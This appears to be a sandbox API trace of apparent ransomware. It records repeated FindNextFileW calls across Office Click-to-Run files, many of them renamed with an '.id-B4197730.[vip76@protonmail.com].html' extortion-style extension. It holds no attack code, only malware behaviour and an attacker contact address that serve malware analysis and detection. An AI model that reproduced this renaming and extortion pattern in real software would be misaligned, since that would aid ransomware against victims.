	[0167.632] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b642124, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b642124, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b642124, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4de6, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="APBCCC~1.HTM")) returned 1
	[0167.632] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b642124, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b642124, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b6681fc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x5be6, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="AP973C~1.HTM")) returned 1
	[0167.632] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6681fc, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b6681fc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b93cff6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x61e2, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="APE6D8~1.HTM")) returned 1
	[0167.632] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6934b9, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b6934b9, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b6b46c0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x61e4, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="APC936~1.HTM")) returned 1
	[0167.632] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6b46c0, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b6b46c0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b6b46c0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x53e0, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="AP4989~1.HTM")) returned 1
	[0167.633] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b7297fc, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b7297fc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b9af702, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4be6, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="AP97B5~1.HTM")) returned 1
	[0167.633] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb979f700, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x27c40, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="ApiClient.dll", cAlternateFileName="APICLI~1.DLL")) returned 1
	[0167.633] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9bc01200, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0xa02d8, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="AppVCatalog.dll", cAlternateFileName="APPVCA~1.DLL")) returned 1
	[0167.633] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8c139b18, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2b5be2, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="appvcleaner.exe.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="APPVCL~1.HTM")) returned 1
	[0167.633] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a330a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a330a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x4b0d8, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="AppVFileSystemMetadata.dll", cAlternateFileName="APPVFI~1.DLL")) returned 1
	[0167.633] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a330a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a330a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x2052d8, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="AppVIntegration.dll", cAlternateFileName="APPVIN~1.DLL")) returned 1
	[0167.633] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a59305, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a59305, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x726d8, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="AppVIsvApi.dll", cAlternateFileName="APPVIS~1.DLL")) returned 1
	[0167.633] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b7bf8ad, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b7bf8ad, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b7e598c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x60faa, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="AppvIsvStream32.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="APPVIS~1.HTM")) returned 1
	[0167.633] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb5e67000, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x73aa0, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="AppvIsvStream64.dll", cAlternateFileName="APPVIS~3.DLL")) returned 1
	[0167.634] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x336d8, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="AppVIsvStreamingManager.dll", cAlternateFileName="APPVIS~4.DLL")) returned 1
	[0167.634] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80aa57b9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80aa57b9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x1566d8, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="AppVIsvSubsystemController.dll", cAlternateFileName="AP213A~1.DLL")) returned 1
	[0167.634] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80aa57b9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80aa57b9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8c755cd6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x26e1c2, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="AppvIsvSubsystems32.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="APPVIS~2.HTM")) returned 1
	[0167.634] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80acba0b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80acba0b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbbdc5100, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x22e0a8, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="AppvIsvSubsystems64.dll", cAlternateFileName="AP4400~1.DLL")) returned 1
	[0167.634] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80af1c6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80af1c6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x8a8d8, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="AppVIsvVirtualization.dll", cAlternateFileName="AP485B~1.DLL")) returned 1
	[0167.634] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80af1c6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80af1c6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x12cad8, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="AppVManifest.dll", cAlternateFileName="APPVMA~1.DLL")) returned 1
	[0167.634] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0xe76d8, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="AppVOrchestration.dll", cAlternateFileName="APPVOR~1.DLL")) returned 1
	[0167.634] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x13c4d8, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="AppVPolicy.dll", cAlternateFileName="APPVPO~1.DLL")) returned 1
	[0167.634] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b9d5918, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b9d5918, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bc11c72, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x7d1d6, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="AppVScripting.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="APPVSC~1.HTM")) returned 1
	[0167.635] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ba21e17, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8ba21e17, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ba47f0f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x407d4, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="AppVShNotify.exe.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="APPVSH~1.HTM")) returned 1
	[0167.635] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bc4690f, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8bc4690f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c0c59be, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xc85b6, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="C2R32.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="C2R32D~1.HTM")) returned 1
	[0167.635] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb4b54300, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x127260, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="C2R64.dll", cAlternateFileName="")) returned 1
	[0167.635] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c42817, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x82c42817, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82c42817, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1130, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="C2RHeartbeatConfig.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="C2RHEA~1.HTM")) returned 1
	[0167.635] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bc8e4d4, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8bc8e4d4, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bcbf9bd, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xdc5b2, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="C2RUI.en-us.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="C2RUIE~1.HTM")) returned 1
	[0167.635] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c8f0f3b, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c8f0f3b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c989832, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x5159e, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="concrt140.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="CONCRT~1.HTM")) returned 1
	[0167.635] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c82f963, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c82f963, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c8320a6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x156, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="i640.hash.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="I640HA~1.HTM")) returned 1
	[0167.635] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cdb5aea, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8cdb5aea, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cdb5aea, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x15c, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="i641033.hash.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="I64103~1.HTM")) returned 1
	[0167.635] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c8320a6, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c8320a6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8d46a38e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x10af8c, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="IntegratedOffice.exe.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="INTEGR~1.HTM")) returned 1
	[0167.635] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cdb5aea, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8cdb5aea, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ce01f72, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x579d2, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="MavInject32.exe.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MAVINJ~1.HTM")) returned 1
	[0167.636] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b8a5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b8a5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8745c00, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x2ffa60, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="mso20win32client.dll", cAlternateFileName="MSO20W~1.DLL")) returned 1
	[0167.636] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bb0837, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80bb0837, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xad6b600, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x475e60, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="mso30win32client.dll", cAlternateFileName="MSO30W~1.DLL")) returned 1
	[0167.636] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bfccf1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80bfccf1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x307ac0, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="mso40uires.dll", cAlternateFileName="MSO40U~1.DLL")) returned 1
	[0167.636] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c22f4a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80c22f4a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x10cc9700, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x8e6060, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="mso40uiwin32client.dll", cAlternateFileName="MSO40U~2.DLL")) returned 1
	[0167.636] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce74794, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8ce74794, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8d22e066, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xef6a, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="msointl30.en-us.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MSOINT~1.HTM")) returned 1
	[0167.636] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c9565a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80c9565a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1909ea00, ftLastWriteTime.dwHighDateTime=0x1d098bf, nFileSizeHigh=0x0, nFileSizeLow=0xa12a8, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1
	[0167.636] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x9b0a0, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1
	[0167.636] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b6c4400, ftLastWriteTime.dwHighDateTime=0x1d098bf, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a8, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1
	[0167.637] FindNextFileW (in: hFindFile=0x6ac8d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8e3c35a1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x67117a, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="OfficeC2RClient.exe.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="OFFICE~2.HTM")) returned 1
